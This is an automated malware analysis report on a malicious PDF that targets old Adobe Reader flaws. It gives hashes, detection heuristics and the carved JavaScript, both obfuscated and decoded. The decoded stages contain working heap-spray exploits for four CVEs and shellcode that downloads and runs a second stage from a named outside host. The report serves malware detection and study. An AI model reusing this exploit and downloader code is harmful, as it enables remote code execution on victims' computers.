Malicious PDF — malware analysis report

Static analysis result for SHA-256 1add9edf1f28b33d…

MALICIOUS

PDF

12.3 KB First seen: 2026-05-04
MD5: d696f21f8bf792d0fb0b3839099308cf SHA-1: 9f6fddbda6c363028e310b551cc722d6de61acf7 SHA-256: 1add9edf1f28b33d905e36908a4d674bed222273d59e4bf445610aa04ea6062a
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF exploits known vulnerabilities in Adobe Reader, specifically targeting CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The embedded JavaScript is designed to download a second-stage payload from the URL http://mefvkbnmmcp.com/w.php?f=26&e=5. This indicates a multi-stage attack aimed at executing arbitrary code on the victim's machine.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://mefvkbnmmcp.com/w.php?f=26&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x369 11531 bytes
SHA-256: 4e829dba45873488f7abb0e6f532178da22f766de5e5cd73e25ed7de117dc1eb
Preview script
First 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(59,72,13,42,13,26,32,26,36,36,10,65,68,30,40,26,0,55,21,51,67,67,0,55,72,7,42,61,0,55,21,53,72,7,0,55,35,53,42,61,0,55,42,46,51,61,0,55,51,51,53,72,0,55,67,61,7,41,0,55,61,41,21,10,0,55,21,10,51,41,0,55,41,7,61,41,0,55,35,41,21,10,0,55,53,67,32,7,0,55,35,67,21,10,0,55,51,51,41,21,0,55,67,67,60,10,0,55,53,42,21,10,0,55,41,51,51,7,0,55,51,51,35,61,0,55,21,32,24,7,0,55,32,53,42,42,0,55,72,72,32,41,0,55,10,21,72,72,0,55,61,41,21,10,0,55,7,51,51,41,0,55,51,46,61,67,0,55,35,53,41,67,0,55,21,35,72,10,0,55,24,61,51,61,0,55,42,61,21,53,0,55,53,32,35,53,0,55,42,10,42,46,0,55,53,32,61,7,0,55,21,10,53,67,0,55,51,7,35,53,0,55,35,61,21,10,0,55,35,21,51,53,0,55,72,53,41,51,0,55,21,10,53,67,0,55,24,41,35,67,0,55,72,53,41,51,0,55,7,46,51,51,0,55,61,32,61,46,0,55,56,60,72,7,0,55,7,53,41,51,0,55,60,10,51,51,0,55,10,42,41,72,0,55,51,21,32,41,0,55,35,61,72,24,0,55,7,32,41,21,0,55,41,60,7,10,0,55,60,56,41,51,0,55,42,10,61,41,0,55,51,10,72,32,0,55,35,53,32,72,0,55,53,42,42,67,0,55,53,42,21,10,0,55,41,51,24,61,0,55,67,67,60,60,0,55,41,7,21,10,0,55,21,60,61,10,0,55,42,7,61,67,0,55,53,61,72,72,0,55,41,7,24,61,0,55,60,21,21,10,0,55,60,60,41,51,0,55,41,61,21,10,0,55,41,51,21,10,0,55,56,10,7,53,0,55,53,46,53,42,0,55,42,10,7,51,0,55,56,60,53,51,0,55,67,21,21,10,0,55,21,41,24,41,0,55,41,7,35,60,0,55,35,61,51,51,0,55,46,67,41,51,0,55,72,51,42,10,0,55,67,21,21,10,0,55,21,10,41,21,0,55,67,56,72,35,0,55,53,46,41,53,0,55,46,21,42,21,0,55,72,72,72,72,0,55,42,24,72,72,0,55,42,21,72,46,0,55,41,41,41,41,0,55,41,41,41,41,0,55,53,41,53,21,0,55,61,41,67,56,0,55,72,72,67,21,0,55,41,41,41,41,0,55,53,41,41,41,0,55,7,41,21,51,0,55,53,41,32,46,0,55,21,10,53,53,0,55,21,10,42,7,0,55,32,41,53,42,0,55,7,51,21,51,0,55,72,72,41,53,0,55,67,21,42,51,0,55,67,42,67,72,0,55,41,41,41,41,0,55,35,53,67,21,0,55,67,7,35,24,0,55,53,61,67,60,0,55,32,67,72,72,0,55,7,61,21,51,0,55,21,10,41,21,0,55,42,21,42,21,0,55,72,72,67,32,0,55,72,72,72,72,0,55,41,24,42,10,0,55,35,24,42,10,0,55,42,7,21,32,0,55,41,32,41,61,0,55,41,41,41,41,0,55,53,7,21,60,0,55,41,7,24,61,0,55,41,61,7,35,0,55,35,24,24,61,0,55,67,35,67,53,0,55,7,35,35,51,0,55,24,61,61,61,0,55,35,67,41,61,0,55,51,51,35,24,0,55,7,35,51,24,0,55,24,61,61,61,0,55,24,41,41,21,0,55,35,51,24,60,0,55,53,51,24,41,0,55,72,21,67,21,0,55,41,41,41,41,0,55,72,72,41,41,0,55,41,7,53,67,0,55,42,21,21,10,0,55,7,46,51,51,0,55,7,35,53,32,0,55,32,60,61,61,0,55,35,35,41,41,0,55,67,24,35,41,0,55,7,35,35,61,0,55,32,60,61,61,0,55,24,42,41,53,0,55,67,7,67,61,0,55,7,67,67,7,0,55,32,60,61,61,0,55,41,41,41,46,0,55,21,56,53,46,0,55,41,61,7,32,0,55,21,21,51,41,0,55,32,60,61,61,0,55,61,32,41,61,0,55,67,56,53,32,0,55,67,56,41,41,0,55,53,51,41,41,0,55,67,56,53,35,0,55,72,72,41,41,0,55,32,61,53,67,0,55,7,41,21,53,0,55,32,67,35,53,0,55,41,41,67,56,0,55,72,72,53,51,0,55,41,61,53,67,0,55,41,41,67,56,0,55,42,10,21,51,0,55,53,51,41,7,0,55,53,67,72,72,0,55,21,51,41,61,0,55,41,7,7,51,0,55,41,24,42,10,0,55,32,51,42,10,0,55,21,41,61,35,0,55,41,41,51,72,0,55,72,56,35,53,0,55,21,41,61,35,0,55,41,41,51,72,0,55,7,61,35,53,0,55,41,41,67,56,0,55,72,42,67,56,0,55,53,67,72,72,0,55,42,21,41,21,0,55,72,42,46,7,0,55,72,72,72,72,0,55,61,42,21,42,0,55,42,7,41,42,0,55,72,42,46,21,0,55,41,42,21,56,0,55,67,72,21,46,0,55,10,60,41,32,0,55,7,56,51,51,0,55,53,10,21,56,0,55,7,67,32,10,0,55,35,46,61,67,0,55,32,56,51,67,0,55,35,41,24,72,0,55,35,61,67,21,0,55,35,41,35,61,0,55,24,72,51,56,0,55,67,60,24,72,0,55,67,67,67,53,0,55,67,10,35,67,0,55,67,42,67,24,0,55,67,60,67,60,0,55,35,41,67,51,0,55,67,51,24,42,0,55,67,60,67,72,0,55,35,35,24,72,0,55,35,41,24,42,0,55,35,41,67,21,0,55,67,67,51,72,0,55,51,24,51,60,0,55,24,67,51,67,0,55,51,60,67,53,0,55,41,41,51,53,0,55,41,41,41,41,26,12,72,55,9,7,69,59,62,9,16,42,28,17,4,13,4,56,22,27,63,36,39,20,19,59,25,42,13,4,56,11,25,42,9,30,69,19,66,24,29,27,63,36,39,4,56,6,40,4,56,12,54,4,56,40,4,56,11,68,55,10,68,69,4,59,9,30,13,41,22,27,63,5,24,36,12,4,42,69,55,4,9,16,4,56,12,54,16,72,55,9,7,69,59,62,9,16,10,2,13,36,39,17,56,4,16,60,75,30,40,9,42,20,16,47,4,4,56,63,13,36,12,17,56,4,16,17,20,40,41,2,41,7,41,7,41,7,41,7,12,17,56,4,16,56,60,60,4,40,41,2,61,41,41,41,41,41,12,17,56,4,16,31,56,63,25,62,56,60,40,55,9,42,68,7,56,31,42,13,10,65,68,30,36,12,17,56,4,16,68,7,37,25,42,9,40,31,56,63,25,62,56,60,11,25,42,9,30,69,19,66,24,12,17,56,4,16,27,63,40,56,60,60,4,73,13,68,7,37,25,42,9,6,41,2,51,21,36,12,17,56,4,16,63,56,4,68,31,40,55,9,42,68,7,56,31,42,13,15,0,55,46,41,46,41,0,55,46,41,46,41,15,36,12,63,56,4,68,31,40,42,28,17,4,13,63,56,4,68,31,22,27,63,36,12,17,56,4,16,7,62,55,9,69,24,40,13,17,20,73,41,2,61,41,41,41,41,41,36,5,56,60,60,4,12,72,62,4,13,17,56,4,16,7,62,55,9,69,40,41,12,7,62,55,9,69,29,7,62,55,9,69,24,12,7,62,55,9,69,6,6,36,39,60,75,30,43,7,62,55,9,69,3,40,63,56,4,68,31,6,31,56,63,25,62,56,60,12,54,16,17,56,4,16,62,17,42,4,72,25,62,20,40,55,9,42,68,7,56,31,42,13,15,0,55,41,7,41,7,0,55,41,7,41,7,15,36,12,20,19,59,25,42,13,62,17,42,4,72,25,62,20,11,25,42,9,30,69,19,29,61,61,46,53,24,36,39,62,17,42,4,72,25,62,20,6,40,62,17,42,4,72,25,62,20,12,54,16,69,19,59,68,11,7,62,25,25,56,10,64,69,62,4,42,40,52,62,25,25,56,10,11,7,62,25,25,42,7,69,44,48,56,59,25,70,9,72,62,13,39,68,55,10,65,34,15,15,22,48,68,30,34,62,17,42,4,72,25,62,20,54,36,12,54,16,72,55,9,7,69,59,62,9,16,31,4,59,9,69,72,13,36,39,9,62,31,40,55,9,42,68,7,56,31,42,13,15,0,55,41,47,41,47,0,55,41,47,41,47,0,55,41,47,41,47,0,55,41,47,41,47,15,36,12,17,56,4,16,31,56,63,25,62,56,60,40,55,9,42,68,7,56,31,42,13,10,65,68,30,36,12,19,42,56,31,10,25,62,7,75,40,9,62,31,6,31,56,63,25,62,56,60,12,10,59,30,10,25,62,7,75,40,55,9,42,68,7,56,31,42,13,15,0,55,41,47,41,47,0,55,41,47,41,47,15,36,12,19,42,56,60,42,4,68,59,28,42,40,24,41,12,68,31,4,56,63,40,19,42,56,60,42,4,68,59,28,42,6,19,42,56,31,10,25,62,7,75,11,25,42,9,30,69,19,12,20,19,59,25,42,13,10,59,30,10,25,62,7,75,11,25,42,9,30,69,19,29,68,31,4,56,63,36,39,10,59,30,10,25,62,7,75,6,40,10,59,30,10,25,62,7,75,12,54,16,72,59,25,25,10,25,62,7,75,40,10,59,30,10,25,62,7,75,11,68,55,10,68,69,4,59,9,30,13,41,22,68,31,4,56,63,36,12,10,25,62,7,75,40,10,59,30,10,25,62,7,75,11,68,55,10,68,69,4,59,9,30,13,41,22,10,59,30,10,25,62,7,75,11,25,42,9,30,69,19,73,68,31,4,56,63,36,12,20,19,59,25,42,13,10,25,62,7,75,11,25,42,9,30,69,19,6,68,31,4,56,63,29,41,2,61,41,41,41,41,36,39,10,25,62,7,75,40,10,25,62,7,75,6,10,25,62,7,75,6,72,59,25,25,10,25,62,7,75,12,54,16,48,42,48,40,9,42,20,16,47,4,4,56,63,13,36,12,72,62,4,13,59,40,41,12,59,29,32,61,41,41,12,59,6,6,36,39,48,42,48,43,59,3,40,10,25,62,7,75,6,19,42,56,31,10,25,62,7,75,12,54,16,17,56,4,16,9,55,48,40,32,24,46,46,46,46,46,46,46,46,46,46,46,46,46,46,46,46,46,46,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,12,55,69,59,25,11,31,4,59,9,69,72,13,15,0,61,53,41,41,41,72,15,22,9,55,48,36,12,54,16,72,55,9,7,69,59,62,9,16,30,42,69,59,7,62,9,13,36,39,17,56,4,16,56,4,4,63,40,9,42,20,16,47,4,4,56,63,13,36,12,59,72,13,56,31,31,11,60,62,7,11,52,62,25,25,56,10,11,30,42,69,70,7,62,9,36,39,17,56,4,16,31,56,63,25,62,56,60,40,55,9,42,68,7,56,31,42,13,10,65,68,30,36,12,17,56,4,16,19,14,27,53,41,41,52,57,40,31,56,63,25,62,56,60,11,25,42,9,30,69,19,66,24,12,17,56,4,16,27,63,40,41,2,61,41,41,41,41,41,73,13,19,14,27,53,41,41,52,57,6,41,2,51,21,36,12,17,56,4,16,63,56,4,68,31,40,55,9,42,68,7,56,31,42,13,15,0,55,46,41,46,41,0,55,46,41,46,41,15,36,12,63,56,4,68,31,40,42,28,17,4,13,63,56,4,68,31,22,27,63,36,12,17,56,4,16,31,53,47,65,71,67,53,72,40,13,41,2,41,7,41,7,41,7,41,7,73,41,2,61,41,41,41,41,41,36,5,41,2,61,41,41,41,41,41,12,72,62,4,13,17,56,4,16,17,27,7,1,49,46,67,63,40,41,12,17,27,7,1,49,46,67,63,29,31,53,47,65,71,67,53,72,12,17,27,7,1,49,46,67,63,6,6,36,39,56,4,4,63,43,17,27,7,1,49,46,67,63,3,40,63,56,4,68,31,6,31,56,63,25,62,56,60,12,54,16,17,56,4,16,69,45,18,19,57,10,74,20,40,55,9,42,68,7,56,31,42,13,15,0,41,46,15,36,12,20,19,59,25,42,13,69,45,18,19,57,10,74,20,11,25,42,9,30,69,19,29,41,2,61,41,41,41,36,39,69,45,18,19,57,10,74,20,6,40,69,45,18,19,57,10,74,20,12,54,16,69,45,18,19,57,10,74,20,40,15,57,11,15,6,69,45,18,19,57,10,74,20,12,56,31,31,11,60,62,7,11,52,62,25,25,56,10,11,30,42,69,70,7,62,9,13,69,45,18,19,57,10,74,20,36,12,54,54,16,56,58,25,55,30,59,9,68,40,56,31,31,11,31,25,55,30,70,9,68,12,17,56,4,16,68,17,40,31,56,4,68,42,70,9,69,13,56,31,31,11,17,59,42,20,42,4,8,42,4,68,59,62,9,11,69,62,64,69,4,59,9,30,13,36,11,7,19,56,4,47,69,13,41,36,36,12,72,62,4,13,17,56,4,16,59,40,41,12,59,29,56,58,25,55,30,59,9,68,11,25,42,9,30,69,19,12,59,6,6,36,39,59,72,13,56,58,25,55,30,59,9,68,43,59,3,11,9,56,48,42,40,40,26,44,64,7,4,59,31,69,26,36,39,17,56,4,16,25,17,40,56,58,25,55,30,59,9,68,43,59,3,11,17,42,4,68,59,62,9,12,54,54,16,59,72,13,13,25,17,40,40,46,36,33,33,13,13,68,17,40,40,21,36,38,38,13,25,17,29,40,21,11,32,24,36,36,36,39,30,42,69,59,7,62,9,13,36,12,54,42,25,68,42,16,59,72,13,25,17,40,40,35,11,32,36,39,31,4,59,9,69,72,13,36,12,54,42,25,68,42,16,59,72,13,13,13,68,17,40,40,67,36,33,33,13,68,17,40,40,35,36,36,38,38,13,25,17,29,35,11,32,32,36,36,39,10,2,13,36,12,54,42,25,68,42,16,59,72,13,13,25,17,23,40,46,11,32,36,33,33,13,25,17,29,40,46,11,24,36,33,33,13,25,17,23,40,21,11,32,51,36,33,33,13,25,17,29,40,21,11,32,35,36,36,39,72,55,9,7,69,59,62,9,16,56,13,36,39,55,69,59,25,11,31,4,59,9,69,60,13,26,31,50,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,16,34,16,63,63,63,63,32,32,32,26,22,9,42,20,16,49,56,69,42,13,36,36,12,54,17,56,4,16,19,40,56,31,31,11,31,25,55,30,70,9,68,12,72,62,4,13,17,56,4,16,72,40,41,12,72,29,19,11,25,42,9,30,69,19,12,72,6,6,36,39,59,72,13,19,43,72,3,11,9,56,48,42,40,40,26,44,64,7,4,59,31,69,26,36,39,17,56,4,16,59,40,19,43,72,3,11,17,42,4,68,59,62,9,12,54,54,16,59,72,13,13,59,23,21,11,32,24,36,38,38,13,59,29,21,11,24,36,36,39,7,40,9,42,20,16,47,4,4,56,63,13,36,12,17,56,4,16,60,40,55,9,42,68,7,56,31,42,13,26,0,55,46,41,46,41,0,55,46,41,46,41,26,36,12,17,56,4,16,42,40,55,9,42,68,7,56,31,42,13,10,65,68,30,36,12,20,19,59,25,42,13,60,11,25,42,9,30,69,19,29,40,41,2,21,41,41,41,36,39,60,6,40,60,12,54,60,40,60,11,68,55,10,68,69,4,13,41,22,41,2,21,41,41,41,73,42,11,25,42,9,30,69,19,36,12,72,62,4,13,72,40,41,12,72,29,24,46,41,41,12,72,6,6,36,39,7,43,72,3,40,60,6,42,12,54,56,13,36,12,56,13,36,12,69,4,63,39,69,19,59,68,11,48,42,60,59,56,11,9,42,20,58,25,56,63,42,4,13,9,55,25,25,36,12,54,7,56,69,7,19,13,42,36,39,54,56,13,36,12,54,54);
a=new String("%Qx]r/+cVnb.;(W' vMhw8,>2l'qz<gp1|:7)_&{=0e[EU9AmD@3C5}uaNPid4oySj*6stIKf-Gk");
b="al";
b2="v"
+b;
try
{
for(i in app)
if(i=='printerNames')
fqwf-1;
}catch(q){
e=j['substr']();
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s=new String();try{if(!google.search())throw 1;}catch(q){r=1;}{
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[j]];
}
}}

try{if(!google.search())bbb-123;}
catch(nergerg){
e(s);
}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3864 bytes
SHA-256: 3c4d1c826544dd62e57f07c5419c2fe0d6b89223207338f69698a5d898e15af9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u6d2f%u6665%u6b76%u6e62%u6d6d%u7063%u632e%u6d6f%u772f%u702e%u7068%u663f%u323d%u2636%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3860 bytes
SHA-256: 5019d12b96b39114877991a906b197c1e07bad3578b1ea1f30b12c2035fddb2a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u6d2f%u6665%u6b76%u6e62%u6d6d%u7063%u632e%u6d6f%u772f%u702e%u7068%u663f%u323d%u2636%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	